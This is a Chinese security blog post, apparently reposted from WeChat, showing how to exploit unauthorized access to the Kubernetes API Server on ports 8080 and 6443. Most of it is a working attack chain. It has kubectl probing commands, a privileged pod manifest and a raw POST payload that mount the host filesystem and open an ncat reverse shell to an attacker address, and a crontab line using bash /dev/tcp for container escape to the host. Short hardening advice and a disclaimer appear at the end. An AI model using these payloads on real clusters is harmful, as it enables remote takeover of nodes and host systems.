【云安全】云原生- K8S API Server 未授权访问

admin 2025年2月17日09:59:23评论11 views字数 3334阅读11分6秒阅读模式

API Server 是 Kubernetes 集群的核心管理接口,所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下,API Server 会监听两个端口:8080 和 6443。如果配置不当,可能会导致未授权访问的安全风险。

8080 端口

默认情况下不启用,该端口不需要认证和授权检查。如果意外暴露(v1.20以下版本),攻击者可以直接访问集群资源,导致未授权访问。

--insecure-port 和 --insecure-bind-address 参数已经被 废弃,在 Kubernetes v1.20+ 版本中它们已经无法正常使用,尤其是 --insecure-port,只能被设置为 0,否则会导致 API Server 启动失败。

(1)攻击者发现未授权访问页面

【云安全】云原生- K8S API Server 未授权访问

这时便可利用Kubernetes 的命令行工具kubectl对集群运行命令

安装工具 | Kubernetes

https://kubernetes.io/zh-cn/docs/tasks/tools/

我这里使用scoop安装kubectl工具

【云安全】云原生- K8S API Server 未授权访问

(2)攻击者使用kubectl工具运行以下命令进行探测

kubectl -s 192.168.48.142:8080get nodeskubectl -s 192.168.48.142:8080get pods

得到类似以下信息(这里复现用的版本是v1.23.6,是借助本地代理方式实现的,其与低版本暴露8080端口是一样的效果)

【云安全】云原生- K8S API Server 未授权访问

(3)攻击者通过1.yaml文件自定义创建恶意POD,配置如下

apiVersion: v1kind: Podmetadata:  name: everything-allowed-revshell-pod  labels:    app: pentestspec:  hostNetwork: true  hostPID: true  hostIPC: true  containers:  - name: everything-allowed-pod    image: raesene/ncatcommand: [ "/bin/sh""-c""--" ]    args: [ "ncat 192.168.48.138 4446 -e /bin/bash;" ]    securityContext:      privileged: true    volumeMounts:    - mountPath: /host      name: noderoot#nodeName: master-1 #取消注释,可将master-1更改为指定节点的名称,可以强制将该Pod调度到该节点上运行。  volumes:  - name: noderoot    hostPath:      path: /
【云安全】云原生- K8S API Server 未授权访问
#参考文章https://www.freebuf.com/articles/container/388388.html

创建POD命令

kubectl -192.168.48.142:8080create-1.yaml
【云安全】云原生- K8S API Server 未授权访问

(4)攻击者监听,接收到shell,执行hostname,返回node2,但是容器权限

【云安全】云原生- K8S API Server 未授权访问

(5)写入计划任务,进行容器逃逸

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.48.1/4444 0>&1n" >> /host/etc/crontab
【云安全】云原生- K8S API Server 未授权访问

(6)接受到宿主机权限

【云安全】云原生- K8S API Server 未授权访问

6443 端口

默认启用,并且要求认证。如果配置错误,例如将 `system:anonymous` 用户绑定到 `cluster-admin` 用户组,攻击者可能绕过认证,获得集群管理员权限,造成未授权访问。

#引起未授权的配置命令kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous#如果你想关闭这个权限,实际上你只需要删除这个ClusterRoleBinding,命令如下kubectl delete clusterrolebinding system:anonymous#验证kubectl get clusterrolebinding system:anonymous

(1)攻击者发现6443端口未授权页面

【云安全】云原生- K8S API Server 未授权访问

(2)使用以下命令探测验证

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get podskubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get nodes 
【云安全】云原生- K8S API Server 未授权访问

(3)同之前的8080端口一样的利用方式,创建恶意POD

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify create -f 1.yaml

同理,以下为POD配置内容

【云安全】云原生- K8S API Server 未授权访问
【云安全】云原生- K8S API Server 未授权访问

也可以通过POST发包的方式创建恶意POD

#POSThttps://192.168.48.142:6443/api/v1/namespaces/default/pods/{"apiVersion":"v1","kind":"Pod","metadata":{"name":"everything-allowed-revshell-pod","namespace":"default","labels":{"app":"pentest"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"name":"everything-allowed-revshell-pod","namespace":"default","labels":{"app":"pentest"}},"spec":{"hostNetwork":true,"hostPID":true,"hostIPC":true,"containers":[{"name":"everything-allowed-pod","image":"raesene/ncat","command":["/bin/sh","-c","--"],"args":["ncat 192.168.48.138 4446 -e /bin/bash;"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"noderoot"}]}}"},"spec":{"hostNetwork":true,"hostPID":true,"hostIPC":true,"containers":[{"name":"everything-allowed-pod","image":"raesene/ncat","command":["/bin/sh","-c","--"],"args":["ncat 192.168.48.138 4446 -e /bin/bash;"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"noderoot"}]}}

(4)攻击者成功接收到shell,节点为node2,容器root权限。后续利用,不再累赘

【云安全】云原生- K8S API Server 未授权访问

因此,确保 API Server 的配置正确,避免暴露不必要的端口,并严格控制用户权限,是保障集群安全的关键。

原文始发于微信公众号(仇辉攻防):【云安全】云原生- K8S API Server 未授权访问

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月17日09:59:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云安全】云原生- K8S API Server 未授权访问https://cn-sec.com/archives/3748154.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息